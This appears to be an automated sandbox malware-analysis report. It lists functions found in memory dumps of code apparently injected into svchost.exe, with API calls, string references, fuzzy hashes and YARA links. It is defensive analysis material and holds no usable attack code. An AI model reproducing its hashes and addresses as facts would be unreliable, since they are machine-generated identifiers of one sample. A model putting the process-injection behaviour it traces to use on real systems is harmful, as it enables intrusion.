TlsGetValue.KERNEL32 ref: 0000022F4B922CBC
TlsGetValue.KERNEL32 ref: 0000022F4B922CCB
TlsSetValue.KERNEL32 ref: 0000022F4B922E0F
TlsSetValue.KERNEL32 ref: 0000022F4B922E1E
TlsSetValue.KERNEL32 ref: 0000022F4B922E2D

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: e299e2d91b18ef67838866c18cdec6bfca9fe4556afd804b4f662d50e4966460
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 2D51C239E04610A7E7A8EF96E96865B77B0F388B80F104939DF4A43756DBBCC945C700

Function 0000022F4B922AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0000022F4B922AE1
TlsGetValue.KERNEL32 ref: 0000022F4B922AF0
TlsGetValue.KERNEL32 ref: 0000022F4B922AFF
TlsSetValue.KERNEL32 ref: 0000022F4B922C3B
TlsSetValue.KERNEL32 ref: 0000022F4B922C4A
TlsSetValue.KERNEL32 ref: 0000022F4B922C59

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: d34dbc50e84e899d59484e42c8476de88141fb153c2056850e267d03047b682d
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 0851A439E14611A7E7A8EFA6E96861B73B0F389B80F104938DF4A43755DFB8C845CB00

Function 0000022F4B925E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022F4B925E66

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: d0868c2d9cf30e478813b9fe480cab2c66c994ec008eb639b9f6d8edd7a6fe81
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: 4561CC3A929A4096F7E49FA5E56831BB7B1F388744F100535EB8D43BAADBBCC540CB00

Function 0000022F4B923EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F68

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: b3c1c112d2e11a003287798bdc41f0482b20c7cd380c6116318526b11c9f8f77
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 60113A2AE08740A7FBA4AF61E55825A77B0FB49B80F140436DB4D037A9EBADC944C781

Function 0000022F4B928CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B928CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000022F4B928D62
RtlUnwindEx.NTDLL ref: 0000022F4B928DBC

Strings

csm, xrefs: 0000022F4B928D49

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 7cb284ad2bbe1a30e649e4dd8f8e8b9c1cc85bb7e2b6f127796852b835166346
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: D851D33AF01600AAEB98EF55E1A876E37A1EB54B88F048930DF494778AD7BCC845C700

Function 0000022F4B8F9EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B8F9ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000022F4B8F9FBC

Strings

csm, xrefs: 0000022F4B8F9EF6
csm, xrefs: 0000022F4B8FA00E

Memory Dump Source

Source File: 00000011.00000003.1646195511.0000022F4B8F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_22f4b8f0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 622ab557142c9faff67b5bb53c6bde86df1ea76d362581bbbeddfaa336dc5a18
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 9651A63AA00340D6EBB4AF91E248B5A77B0F394B9AF144135DB4947BD6EBB8C453CB01

Function 0000022F4B92A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000022F4B92A75B
_CallSETranslator.LIBVCRUNTIME ref: 0000022F4B92A7A7

Strings

RCC, xrefs: 0000022F4B92A777
MOC, xrefs: 0000022F4B92A76F

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 2519287d322944cfd7feb94d4905a80ad8ecedd1afd163043e9b4c01a4f3e364
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 5A61C13BD04BC491EBA8AF55E55539AB7B0F794B94F044A35EB8813B96CBBCC091CB00

Function 0000022F4B92AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B92AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000022F4B92ABBC

Strings

csm, xrefs: 0000022F4B92AAF6
csm, xrefs: 0000022F4B92AC0E

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: c13a4aa0f0c44daca869980378c499b26511675fa44cc9a95517fb1184cc627c
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 5C518E3BD00740ABFBA8AFA1D66835A77B0E354B94F1449359B8947B96C7BCC452CB01

Function 0000022F4B923950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 0000022F4B923972
StrStrW.SHLWAPI ref: 0000022F4B923990
StrToIntW.SHLWAPI ref: 0000022F4B9239B7

Part of subcall function 0000022F4B921A30: OpenProcess.KERNEL32 ref: 0000022F4B921A56
Part of subcall function 0000022F4B921A30: K32GetModuleFileNameExW.KERNEL32 ref: 0000022F4B921A74
Part of subcall function 0000022F4B921A30: PathFindFileNameW.SHLWAPI ref: 0000022F4B921A83
Part of subcall function 0000022F4B921A30: lstrlenW.KERNEL32 ref: 0000022F4B921A8F
Part of subcall function 0000022F4B921A30: StrCpyW.SHLWAPI ref: 0000022F4B921AA2
Part of subcall function 0000022F4B921A30: CloseHandle.KERNEL32 ref: 0000022F4B921AB0

Part of subcall function 0000022F4B923F88: StrCmpNIW.KERNELBASE(?,?,?,0000022F4B92272F), ref: 0000022F4B923FA0

Strings

pid_, xrefs: 0000022F4B923968

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: ab322a2d4964e99f23f1116aef8ef54fab78dd75f398024ce987d62f44f25bf3
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: B411A519F14B81B2FB94AFA5EA2939B63B4F748740F8108319B4D83696EFACC915C700

Function 0000022F4B931FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000022F4B932027
WriteFile.KERNEL32 ref: 0000022F4B932304
WriteFile.KERNEL32 ref: 0000022F4B93234A
GetLastError.KERNEL32 ref: 0000022F4B932409

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 65ab33f9e86a3793016190f554dd470263d197bad517fea0e7f9cd5ea5b1132a
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: 98D1FF36B14A80A9EB94DFA5D6683DE37B1F349B98F405236CF4D97B9ADA74C006C340

Function 0000022F4B9214A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B9214C6
HeapFree.KERNEL32 ref: 0000022F4B9214D5
GetProcessHeap.KERNEL32 ref: 0000022F4B9214E2
HeapFree.KERNEL32 ref: 0000022F4B9214F1
GetProcessHeap.KERNEL32 ref: 0000022F4B921501

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 56e8b8fcdf47366c570304169e9c02a7fee4cc887c1613258ea6998d8deb5e52
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 01015736A10B90EAE794EFE6E92814A77B1F78CF80B099035DF4943729DE78D461C740

Function 0000022F4B9328F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,0000022F4B9328DF), ref: 0000022F4B932A12

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: a05a13cbd6c50fc86814b52849a412da34fb816029a598fb177ae6ce372f8a44
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 1791F63AE10654A5FF98AFA5D6783AE3BB0F34DB88F546139DF0A53686CAB4C445C300

Function 0000022F4B928090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000022F4B9280BC
GetCurrentThreadId.KERNEL32 ref: 0000022F4B9280CA
GetCurrentProcessId.KERNEL32 ref: 0000022F4B9280D6
QueryPerformanceCounter.KERNEL32 ref: 0000022F4B9280E6

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 7315c7c0fdf0fd24ccb5326225aca3ef93bf920e04fc4ac136ff2fecd1a1c651
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 64115E2AB10F009AEB80DFA0E9683A933B4F71D758F441E31DB6D427A5DBB8C194C340

Function 0000022F4B9227E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000022F4B9228CC
StrCpyW.SHLWAPI ref: 0000022F4B9228E5

Part of subcall function 0000022F4B923F88: StrCmpNIW.KERNELBASE(?,?,?,0000022F4B92272F), ref: 0000022F4B923FA0

Strings

\\.\pipe\, xrefs: 0000022F4B9228D7

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 69b0edfe0cb17288d0b0df2ba938852f381a9f43c30d0951323d7d8a6a24af5e
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 0071832AE04B4165FFBCAEA6DA683AB77B4F345784F510836DF0947B96DAB8C500C740

Function 0000022F4B8F80A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022F4B8F80CB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000022F4B8F8162

Strings

csm, xrefs: 0000022F4B8F8149

Memory Dump Source

Source File: 00000011.00000003.1646195511.0000022F4B8F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_22f4b8f0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 9d5e0100f5ffe4596352da2ba97978141a35c5f3890224abb4ce1ccde644c2fd
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: A951D23AB11A05EADB94EF95D54CF6E33B1F344B89F1542319B464778AE7B8D882C700

Function 0000022F4B8F9AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000022F4B8F9BA7

Strings

MOC, xrefs: 0000022F4B8F9B6F
RCC, xrefs: 0000022F4B8F9B77

Memory Dump Source

Source File: 00000011.00000003.1646195511.0000022F4B8F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_22f4b8f0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: eb72844637493c4f102b5757175871491ca948ddf3b39f32b9f3a56f7479e12c
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: FE61C236904BC491DBB0AF55E544B9AB7B0F795BC9F144235EB9807B96EBBCC091CB00

Function 0000022F4B9225DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000022F4B9226C2
StrCpyW.SHLWAPI ref: 0000022F4B9226D9

Strings

\\.\pipe\, xrefs: 0000022F4B9226CD

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: dff5c28ae23f6fb28725aba5b6bbbfb6d753e5a829e45e780184bca63f5c3eae
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 5451E62AE0878061FEACAEA5E66C3AB7775F394740F040835CF4943B6ADABDD400CB40

Function 0000022F4B932660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000022F4B932778
GetLastError.KERNEL32 ref: 0000022F4B93279D

Strings

U, xrefs: 0000022F4B932722

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 27cf9f434496b3bd170b431ba0fea5b332a09b693fd3e9a843dce89e3fca500e
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 61411636A25A80A6EB90EFA5E55879BB7B0F34C784F401032EF4D87759EBB8C441CB40

Function 0000022F4B929178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000022F4B9291C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,0000022F4B9287F7), ref: 0000022F4B929209

Strings

csm, xrefs: 0000022F4B9291F6

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
